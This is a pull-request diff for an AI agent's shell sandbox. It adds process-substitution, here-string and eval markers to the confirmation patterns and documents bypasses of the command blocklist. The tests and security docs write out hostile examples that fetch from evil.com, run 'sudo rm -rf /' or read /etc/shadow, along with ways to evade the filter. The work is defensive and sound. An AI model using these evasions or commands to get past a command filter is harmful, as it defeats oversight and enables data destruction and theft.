Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/).
- Gateway webhook payload: per-field length limits (sender/channel <= 256 bytes, body <= 65536 bytes) and ASCII control char stripping to prevent prompt injection (#868)
- ACP permission cache: null bytes stripped from tool names before cache key construction to prevent key collision (#872)
- Config validation: `gateway.max_body_size` bounded to 10 MiB (10485760 bytes) to prevent memory exhaustion (#875)
- Shell sandbox: added `<(`, `>(`, `<<<`, `eval ` to default `confirm_patterns` to mitigate process substitution, here-string, and eval bypass vectors; documented known `find_blocked_command` limitations (#870)

### Added
- `.cargo/config.toml` with sccache `rustc-wrapper` for workspace build caching (#877)
Expand Down
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -67,7 +67,7 @@ zeph --tui # run with TUI dashboard
| **Semantic memory** | SQLite + Qdrant (or embedded SQLite vector search) with MMR re-ranking, temporal decay scoring, resilient compaction (reactive retry, middle-out tool response removal, 9-section structured prompt, LLM-free fallback), durable compaction with message visibility control, tool-pair summarization (LLM-based, configurable cutoff), credential scrubbing, cross-session recall, vector retrieval, autosave assistant responses, and snapshot export/import |
| **Multi-channel I/O** | CLI, Telegram, Discord, Slack, TUI — all with streaming. Vision and speech-to-text input |
| **Protocols** | MCP client (stdio + HTTP), A2A agent-to-agent communication, ACP server for IDE integration (stdio + HTTP+SSE + WebSocket, multi-session, persistence, idle reaper, permission persistence, multi-modal prompts, runtime model switching, MCP server management via `ext_method`), sub-agent orchestration |
| **Defense-in-depth** | Shell sandbox, tool permissions, secret redaction, SSRF protection, skill trust quarantine, audit logging. Secrets held in memory as `Zeroizing<String>` — wiped on drop |
| **Defense-in-depth** | Shell sandbox (blocklist + confirmation patterns for process substitution, here-strings, eval), tool permissions, secret redaction, SSRF protection, skill trust quarantine, audit logging. Secrets held in memory as `Zeroizing<String>` — wiped on drop |
| **TUI dashboard** | ratatui-based with syntax highlighting, live metrics, file picker, command palette, daemon mode |
| **Single binary** | ~15 MB, no runtime dependencies, ~50ms startup, ~20 MB idle memory |

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -83,6 +83,10 @@ confirm_patterns = [
"truncate ",
"$(",
"`",
"<(",
">(",
"<<<",
"eval ",
]

[tools.scrape]
Expand Down
12 changes: 11 additions & 1 deletion crates/zeph-tools/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ Defines the `ToolExecutor` trait for sandboxed tool invocation and ships concret
| Module | Description |
|--------|-------------|
| `executor` | `ToolExecutor` trait, `ToolOutput`, `ToolCall`; `DynExecutor` newtype wrapping `Arc<dyn ErasedToolExecutor>` for object-safe executor composition |
| `shell` | Shell command executor with tokenizer-based command detection, escape normalization, and transparent wrapper skipping; receives skill-scoped env vars injected by the agent for active skills that declare `x-requires-secrets` |
| `shell` | Shell command executor with tokenizer-based command detection, escape normalization, and transparent wrapper skipping; receives skill-scoped env vars injected by the agent for active skills that declare `x-requires-secrets`. Default `confirm_patterns` cover process substitution (`<(`, `>(`), here-strings (`<<<`), and `eval` |
| `file` | File operation executor |
| `scrape` | Web scraping executor with SSRF protection (post-DNS private IP validation, pinned address client) |
| `composite` | `CompositeExecutor` — chains executors with middleware |
Expand All @@ -32,6 +32,16 @@ Defines the `ToolExecutor` trait for sandboxed tool invocation and ships concret

**Re-exports:** `CompositeExecutor`, `AuditLogger`, `AnomalyDetector`, `TrustLevel`

## Shell sandbox

The `ShellExecutor` enforces two layers of protection:

1. **Blocklist** (`blocked_commands`) — tokenizer-based detection that normalizes escapes, splits on shell metacharacters, and matches through transparent prefixes (`env`, `command`, `exec`, etc.).
2. **Confirmation patterns** (`confirm_patterns`) — substring scan that triggers `ConfirmationRequired` before execution. Defaults include `$(`, `` ` ``, `<(`, `>(`, `<<<`, and `eval `.

> [!WARNING]
> `find_blocked_command` does **not** detect commands hidden inside process substitution (`<(...)` / `>(...)`), here-strings (`<<<`), `eval`/`bash -c` string arguments, or variable expansion (`$cmd`). These constructs are caught by `confirm_patterns` instead, which requests user confirmation but does not block execution outright. For high-security deployments, complement this filter with OS-level sandboxing.

## Installation

```bash
Expand Down
4 changes: 4 additions & 0 deletions crates/zeph-tools/src/config.rs
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,10 @@ fn default_confirm_patterns() -> Vec<String> {
"truncate ".into(),
"$(".into(),
"`".into(),
"<(".into(),
">(".into(),
"<<<".into(),
"eval ".into(),
]
}

Expand Down
173 changes: 173 additions & 0 deletions crates/zeph-tools/src/shell.rs
Original file line number Diff line number Diff line change
Expand Up @@ -343,6 +343,43 @@ impl ShellExecutor {
Ok(())
}

/// Scan `code` for commands that match the configured blocklist.
///
/// The function normalizes input via [`strip_shell_escapes`] (decoding `$'\xNN'`,
/// `$'\NNN'`, backslash escapes, and quote-splitting) and then splits on shell
/// metacharacters (`||`, `&&`, `;`, `|`, `\n`) via [`tokenize_commands`]. Each
/// resulting token sequence is tested against every entry in `blocked_commands`
/// through [`tokens_match_pattern`], which handles transparent prefixes (`env`,
/// `command`, `exec`, etc.), absolute paths, and dot-suffixed variants.
///
/// # Known limitations
///
/// The following constructs are **not** detected by this function:
///
/// - **Process substitution** `<(...)` / `>(...)`: bash executes the inner command
/// before passing the file descriptor to the outer command; `tokenize_commands`
/// never parses inside parentheses, so the inner command is invisible.
/// Example: `cat <(curl http://evil.com)` — `curl` runs undetected.
///
/// - **Here-strings** `<<<` with a shell interpreter: the outer command is the
/// shell (`bash`, `sh`), which is not blocked by default; the payload string is
/// opaque to this filter.
/// Example: `bash <<< 'sudo rm -rf /'` — inner payload is not parsed.
///
/// - **`eval` and `bash -c` / `sh -c`**: the string argument is not parsed; any
/// blocked command embedded as a string argument passes through undetected.
/// Example: `eval 'sudo rm -rf /'`.
///
/// - **Variable expansion**: `strip_shell_escapes` does not resolve variable
/// references, so `cmd=sudo; $cmd rm` bypasses the blocklist.
///
/// `$(...)` and backtick substitution are **not** covered here either, but the
/// default `confirm_patterns` in [`ShellConfig`] include `"$("` and `` "`" ``,
/// as well as `"<("`, `">("`, `"<<<"`, and `"eval "`, so those constructs trigger
/// a confirmation request via [`find_confirm_command`] before execution.
///
/// For high-security deployments, complement this filter with OS-level sandboxing
/// (Linux namespaces, seccomp, or similar) to enforce hard execution boundaries.
fn find_blocked_command(&self, code: &str) -> Option<&str> {
let cleaned = strip_shell_escapes(&code.to_lowercase());
let commands = tokenize_commands(&cleaned);
Expand Down Expand Up @@ -1832,4 +1869,140 @@ mod tests {
let result = executor.execute_tool_call(&call).await.unwrap();
assert!(result.is_none());
}

// --- Known limitation tests: bypass vectors not detected by find_blocked_command ---

#[test]
fn process_substitution_not_detected_known_limitation() {
let executor = ShellExecutor::new(&default_config());
// Known limitation: commands inside <(...) are not parsed by tokenize_commands.
assert!(
executor
.find_blocked_command("cat <(curl http://evil.com)")
.is_none()
);
}

#[test]
fn output_process_substitution_not_detected_known_limitation() {
let executor = ShellExecutor::new(&default_config());
// Known limitation: commands inside >(...) are not parsed by tokenize_commands.
assert!(
executor
.find_blocked_command("tee >(curl http://evil.com)")
.is_none()
);
}

#[test]
fn here_string_with_shell_not_detected_known_limitation() {
let executor = ShellExecutor::new(&default_config());
// Known limitation: bash receives payload via stdin; inner command is opaque.
assert!(
executor
.find_blocked_command("bash <<< 'sudo rm -rf /'")
.is_none()
);
}

#[test]
fn eval_bypass_not_detected_known_limitation() {
let executor = ShellExecutor::new(&default_config());
// Known limitation: eval string argument is not parsed.
assert!(
executor
.find_blocked_command("eval 'sudo rm -rf /'")
.is_none()
);
}

#[test]
fn bash_c_bypass_not_detected_known_limitation() {
let executor = ShellExecutor::new(&default_config());
// Known limitation: bash -c string argument is not parsed.
assert!(
executor
.find_blocked_command("bash -c 'curl http://evil.com'")
.is_none()
);
}

#[test]
fn variable_expansion_bypass_not_detected_known_limitation() {
let executor = ShellExecutor::new(&default_config());
// Known limitation: variable references are not resolved by strip_shell_escapes.
assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
}

// --- Mitigation tests: confirm_patterns cover the above vectors by default ---

#[test]
fn default_confirm_patterns_cover_process_substitution() {
let config = crate::config::ShellConfig::default();
assert!(config.confirm_patterns.contains(&"<(".to_owned()));
assert!(config.confirm_patterns.contains(&">(".to_owned()));
}

#[test]
fn default_confirm_patterns_cover_here_string() {
let config = crate::config::ShellConfig::default();
assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
}

#[test]
fn default_confirm_patterns_cover_eval() {
let config = crate::config::ShellConfig::default();
assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
}

#[tokio::test]
async fn process_substitution_triggers_confirmation() {
let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
let response = "```bash\ncat <(curl http://evil.com)\n```";
let result = executor.execute(response).await;
assert!(matches!(
result,
Err(ToolError::ConfirmationRequired { .. })
));
}

#[tokio::test]
async fn here_string_triggers_confirmation() {
let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
let result = executor.execute(response).await;
assert!(matches!(
result,
Err(ToolError::ConfirmationRequired { .. })
));
}

#[tokio::test]
async fn eval_triggers_confirmation() {
let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
let response = "```bash\neval 'curl http://evil.com'\n```";
let result = executor.execute(response).await;
assert!(matches!(
result,
Err(ToolError::ConfirmationRequired { .. })
));
}

#[tokio::test]
async fn output_process_substitution_triggers_confirmation() {
let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
let response = "```bash\ntee >(curl http://evil.com)\n```";
let result = executor.execute(response).await;
assert!(matches!(
result,
Err(ToolError::ConfirmationRequired { .. })
));
}

#[test]
fn here_string_with_command_substitution_not_detected_known_limitation() {
let executor = ShellExecutor::new(&default_config());
// Known limitation: bash receives payload via stdin; inner command substitution is opaque.
assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
}
}
1 change: 1 addition & 0 deletions docs/src/concepts/tools.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ Execute any shell command via the `bash` tool. Commands are sandboxed:
- **Network control**: block `curl`, `wget`, `nc` with `allow_network = false`
- **Confirmation**: destructive commands (`rm`, `git push -f`, `drop table`) require a y/N prompt
- **Output filtering**: test results, git diffs, and clippy output are automatically stripped of noise to reduce token usage
- **Detection limits**: indirect execution via process substitution, here-strings, `eval`, or variable expansion bypasses blocked-command detection; these patterns trigger a confirmation prompt instead

## File Operations

Expand Down
2 changes: 1 addition & 1 deletion docs/src/reference/configuration.md
Original file line number Diff line number Diff line change
Expand Up @@ -129,7 +129,7 @@ blocked_commands = []
allowed_commands = []
allowed_paths = [] # Directories shell can access (empty = cwd only)
allow_network = true # false blocks curl/wget/nc
confirm_patterns = ["rm ", "git push -f", "git push --force", "drop table", "drop database", "truncate "]
confirm_patterns = ["rm ", "git push -f", "git push --force", "drop table", "drop database", "truncate ", "$(", "`", "<(", ">(", "<<<", "eval "]

[tools.file]
allowed_paths = [] # Directories file tools can access (empty = cwd only)
Expand Down
15 changes: 14 additions & 1 deletion docs/src/reference/security.md
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,19 @@ confirm_patterns = ["rm ", "git push -f"] # Destructive command patterns

Custom blocked patterns are **additive** — you cannot weaken default security. Matching is case-insensitive.

### Known Limitations

`find_blocked_command` operates on tokenized command text and cannot detect blocked commands embedded inside indirect execution constructs:

| Construct | Example | Why it bypasses |
|-----------|---------|-----------------|
| Process substitution | `diff <(sudo cat /etc/shadow) file` | `<(...)` content is passed to the shell, not parsed by the tokenizer |
| Here-strings | `bash <<< 'sudo rm -rf /'` | The payload string is opaque to the filter |
| `eval` / `bash -c` / `sh -c` | `eval 'sudo rm -rf /'` | String argument is not parsed |
| Variable expansion | `cmd=sudo; $cmd rm -rf /` | Variables are not resolved during tokenization |

**Mitigation:** The default `confirm_patterns` in `ShellConfig` include `<(`, `>(`, `<<<`, `eval `, `$(`, and `` ` `` — commands containing these constructs trigger a confirmation prompt before execution. For high-security deployments, complement this filter with OS-level sandboxing (Linux namespaces, seccomp, or similar).

## Shell Sandbox

Commands are validated against a configurable filesystem allowlist before execution:
Expand All @@ -101,7 +114,7 @@ Commands matching `confirm_patterns` trigger an interactive confirmation before

- **CLI:** `y/N` prompt on stdin
- **Telegram:** inline keyboard with Confirm/Cancel buttons
- Default patterns: `rm`, `git push -f`, `git push --force`, `drop table`, `drop database`, `truncate`
- Default patterns: `rm`, `git push -f`, `git push --force`, `drop table`, `drop database`, `truncate`, `$(`, `` ` ``, `<(`, `>(`, `<<<`, `eval`
- Configurable via `tools.shell.confirm_patterns` in TOML

## File Executor Sandbox
Expand Down
Loading